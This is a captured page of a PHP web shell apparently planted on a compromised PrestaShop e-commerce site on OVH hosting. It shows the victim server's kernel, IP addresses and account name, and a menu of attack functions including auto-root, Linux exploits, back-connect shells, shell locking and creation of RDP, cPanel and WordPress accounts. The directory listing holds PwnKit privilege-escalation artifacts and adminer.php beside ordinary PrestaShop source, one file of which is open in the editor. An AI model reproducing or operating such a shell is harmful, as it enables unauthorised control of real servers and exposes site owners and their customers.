Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
alba-demenagements /
src /
Adapter /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Addons
[ DIR ]
drwx---r-x
Address
[ DIR ]
drwx---r-x
Admin
[ DIR ]
drwx---r-x
Assets
[ DIR ]
drwx---r-x
Attachment
[ DIR ]
drwx---r-x
Attribute
[ DIR ]
drwx---r-x
AttributeGroup
[ DIR ]
drwx---r-x
Backup
[ DIR ]
drwx---r-x
BestSales
[ DIR ]
drwx---r-x
CMS
[ DIR ]
drwx---r-x
Cache
[ DIR ]
drwx---r-x
Carrier
[ DIR ]
drwx---r-x
Cart
[ DIR ]
drwx---r-x
CartRule
[ DIR ]
drwx---r-x
CatalogPriceRule
[ DIR ]
drwx---r-x
Category
[ DIR ]
drwx---r-x
Configuration
[ DIR ]
drwx---r-x
Contact
[ DIR ]
drwx---r-x
Container
[ DIR ]
drwx---r-x
Converter
[ DIR ]
drwx---r-x
Country
[ DIR ]
drwx---r-x
CreditSlip
[ DIR ]
drwx---r-x
Currency
[ DIR ]
drwx---r-x
Customer
[ DIR ]
drwx---r-x
CustomerService
[ DIR ]
drwx---r-x
Debug
[ DIR ]
drwx---r-x
Domain
[ DIR ]
drwx---r-x
Email
[ DIR ]
drwx---r-x
Employee
[ DIR ]
drwx---r-x
Feature
[ DIR ]
drwx---r-x
File
[ DIR ]
drwx---r-x
Form
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Geolocation
[ DIR ]
drwx---r-x
Grid
[ DIR ]
drwx---r-x
Group
[ DIR ]
drwx---r-x
Hook
[ DIR ]
drwx---r-x
Hosting
[ DIR ]
drwx---r-x
Image
[ DIR ]
drwx---r-x
Import
[ DIR ]
drwx---r-x
Invoice
[ DIR ]
drwx---r-x
Kpi
[ DIR ]
drwx---r-x
Language
[ DIR ]
drwx---r-x
Localization
[ DIR ]
drwx---r-x
Mail
[ DIR ]
drwx---r-x
MailTemplate
[ DIR ]
drwx---r-x
Manufacturer
[ DIR ]
drwx---r-x
Media
[ DIR ]
drwx---r-x
Meta
[ DIR ]
drwx---r-x
Module
[ DIR ]
drwx---r-x
NewProducts
[ DIR ]
drwx---r-x
News
[ DIR ]
drwx---r-x
Notification
[ DIR ]
drwx---r-x
Number
[ DIR ]
drwx---r-x
OptionalFeatures
[ DIR ]
drwx---r-x
Order
[ DIR ]
drwx---r-x
OrderMessage
[ DIR ]
drwx---r-x
OrderState
[ DIR ]
drwx---r-x
PDF
[ DIR ]
drwx---r-x
Pack
[ DIR ]
drwx---r-x
Preferences
[ DIR ]
drwx---r-x
Presenter
[ DIR ]
drwx---r-x
PricesDrop
[ DIR ]
drwx---r-x
Product
[ DIR ]
drwx---r-x
Profile
[ DIR ]
drwx---r-x
Requirement
[ DIR ]
drwx---r-x
Routes
[ DIR ]
drwx---r-x
Routing
[ DIR ]
drwx---r-x
Search
[ DIR ]
drwx---r-x
Security
[ DIR ]
drwx---r-x
Shop
[ DIR ]
drwx---r-x
Smarty
[ DIR ]
drwx---r-x
SpecificPrice
[ DIR ]
drwx---r-x
SqlManager
[ DIR ]
drwx---r-x
Supplier
[ DIR ]
drwx---r-x
Support
[ DIR ]
drwx---r-x
System
[ DIR ]
drwx---r-x
Tab
[ DIR ]
drwx---r-x
Tax
[ DIR ]
drwx---r-x
TaxRulesGroup
[ DIR ]
drwx---r-x
Theme
[ DIR ]
drwx---r-x
Translations
[ DIR ]
drwx---r-x
Twig
[ DIR ]
drwx---r-x
Upload
[ DIR ]
drwx---r-x
Warehouse
[ DIR ]
drwx---r-x
Webservice
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
AddressFactory.php
1.88
KB
-rw----r--
CacheManager.php
1.41
KB
-rw----r--
ClassLang.php
1.66
KB
-rw----r--
CombinationDataProvider.php
8.26
KB
-rw----r--
Configuration.php
9
KB
-rw----r--
ContainerBuilder.php
7.92
KB
-rw----r--
ContainerFinder.php
2.34
KB
-rw----r--
ContextStateManager.php
9.07
KB
-rw----r--
CoreException.php
1.2
KB
-rw----r--
Database.php
2.63
KB
-rw----r--
EntityMapper.php
4.83
KB
-rw----r--
EntityMetaDataRetriever.php
1.99
KB
-rw----r--
Environment.php
2.6
KB
-rw----r--
GeneralConfiguration.php
2.94
KB
-rw----r--
HookManager.php
3.15
KB
-rw----r--
ImageManager.php
4.09
KB
-rw----r--
LegacyContext.php
10.2
KB
-rw----r--
LegacyHookSubscriber.php
12.85
KB
-rw----r--
LegacyLogger.php
4.74
KB
-rw----r--
ObjectPresenter.php
1.3
KB
-rw----r--
RoundingMapper.php
2.46
KB
-rw----r--
ServiceLocator.php
1.93
KB
-rw----r--
StockManager.php
7.68
KB
-rw----r--
SymfonyContainer.php
1.88
KB
-rw----r--
Tools.php
7.21
KB
-rw----r--
Validate.php
3.2
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ContextStateManager.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ declare(strict_types=1); namespace PrestaShop\PrestaShop\Adapter; use Cart; use Context; use Country; use Currency; use Customer; use Language; use Shop; /** * Allows manipulating context state. * This was adapted for specific broken legacy use cases when the previous state of context must be restored after some actions. * * e.g. order creation from back office. * Legacy requires Context properties (currency, country etc.) instead of using cart properties * so some context props must be changed for a while and then restored to previous state. */ final class ContextStateManager { private const MANAGED_FIELDS = [ 'cart', 'country', 'currency', 'language', 'customer', 'shop', 'shopContext', ]; /** * @var LegacyContext */ private $legacyContext; /** * @var array|null */ private $contextFieldsStack = null; /** * @param LegacyContext $legacyContext */ public function __construct(LegacyContext $legacyContext) { $this->legacyContext = $legacyContext; } /** * @return Context */ public function getContext(): Context { return $this->legacyContext->getContext(); } /** * Sets context cart and saves previous value * * @param Cart|null $cart * * @return $this */ public function setCart(?Cart $cart): self { $this->saveContextField('cart'); $this->getContext()->cart = $cart; return $this; } /** * Sets context country and saves previous value * * @param Country|null $country * * @return $this */ public function setCountry(?Country $country): self { $this->saveContextField('country'); $this->getContext()->country = $country; return $this; } /** * Sets context currency and saves previous value * * @param Currency|null $currency * * @return $this */ public function setCurrency(?Currency $currency): self { $this->saveContextField('currency'); $this->getContext()->currency = $currency; return $this; } /** * Sets context language and saves previous value * * @param Language|null $language * * @return $this */ public function setLanguage(?Language $language): self { $this->saveContextField('language'); $this->getContext()->language = $language; return $this; } /** * Sets context customer and saves previous value * * @param Customer|null $customer * * @return $this */ public function setCustomer(?Customer $customer): self { $this->saveContextField('customer'); $this->getContext()->customer = $customer; return $this; } /** * Sets context shop and saves previous value * * @param Shop $shop * * @return $this * * @throws \PrestaShopException */ public function setShop(Shop $shop): self { $this->saveContextField('shop'); $this->getContext()->shop = $shop; Shop::setContext(Shop::CONTEXT_SHOP, $shop->id); return $this; } /** * Restores context to a state before changes * * @return self */ public function restorePreviousContext(): self { $stackFields = array_keys($this->contextFieldsStack[$this->getCurrentStashIndex()]); foreach ($stackFields as $fieldName) { $this->restoreContextField($fieldName); } $this->removeLastSavedContext(); return $this; } /** * Saves the current overridden fields in the context, allowing you to set new values to the * current Context. Next time you call restorePreviousContext the context will be refilled with * the values that were saved during this call. * * This is useful if several services use the ContextStateManager, this way if every service * saved the context before modifying it there is no risk of removing previous modifications * when you restore the context, because the different states have been stacked. * * @return $this */ public function saveCurrentContext(): self { // No context field has been overridden yet so no need to save/stack it if (null === $this->contextFieldsStack) { return $this; } // Saves all the fields that have not been overridden foreach (self::MANAGED_FIELDS as $contextField) { $this->saveContextField($contextField); } // Add a new empty layer $this->contextFieldsStack[] = []; return $this; } /** * Return the stack of modified fields * If it's null, no context field has been overridden * * @return array|null */ public function getContextFieldsStack(): ?array { return $this->contextFieldsStack; } /** * Save context field into local array * * @param string $fieldName */ private function saveContextField(string $fieldName) { $currentStashIndex = $this->getCurrentStashIndex(); // NOTE: array_key_exists important here, isset cannot be used because it would not detect if null is stored if (!array_key_exists($fieldName, $this->contextFieldsStack[$currentStashIndex])) { if ('shop' === $fieldName) { $this->contextFieldsStack[$currentStashIndex]['shop'] = $this->getContext()->$fieldName; $this->contextFieldsStack[$currentStashIndex]['shopContext'] = Shop::getContext(); } else { $this->contextFieldsStack[$currentStashIndex][$fieldName] = $this->getContext()->$fieldName; } } } /** * Restores context saved value, and remove save value from local array * * @param string $fieldName */ private function restoreContextField(string $fieldName): void { $currentStashIndex = $this->getCurrentStashIndex(); // NOTE: array_key_exists important here, isset cannot be used because it would not detect if null is stored if (array_key_exists($fieldName, $this->contextFieldsStack[$currentStashIndex])) { if ('shop' === $fieldName) { $this->restoreShopContext($currentStashIndex); } $this->getContext()->$fieldName = $this->contextFieldsStack[$currentStashIndex][$fieldName]; unset($this->contextFieldsStack[$currentStashIndex][$fieldName]); } } /** * Returns the index of the current stack * * @return int */ private function getCurrentStashIndex(): int { // If this is the first time the index is needed we need to init the stack if (null === $this->contextFieldsStack) { $this->contextFieldsStack = [[]]; } return array_key_last($this->contextFieldsStack); } /** * Restore the ShopContext, this is used when Shop has been overridden, we need to * restore context->shop of course But also the static fields in Shop class * * @param int $currentStashIndex */ private function restoreShopContext(int $currentStashIndex): void { $shop = $this->contextFieldsStack[$currentStashIndex]['shop']; $shopId = $shop instanceof Shop ? $shop->id : null; $shopContext = $this->contextFieldsStack[$currentStashIndex]['shopContext']; if (null !== $shopContext) { Shop::setContext($shopContext, $shopId); } unset($this->contextFieldsStack[$currentStashIndex]['shopContext']); } /** * Removes the last saved stashed context, in case this method is called too many times * we always keep one layer available */ private function removeLastSavedContext(): void { array_pop($this->contextFieldsStack); // When all layers have been popped we restore the initial null value if (empty($this->contextFieldsStack)) { $this->contextFieldsStack = null; } } }
Close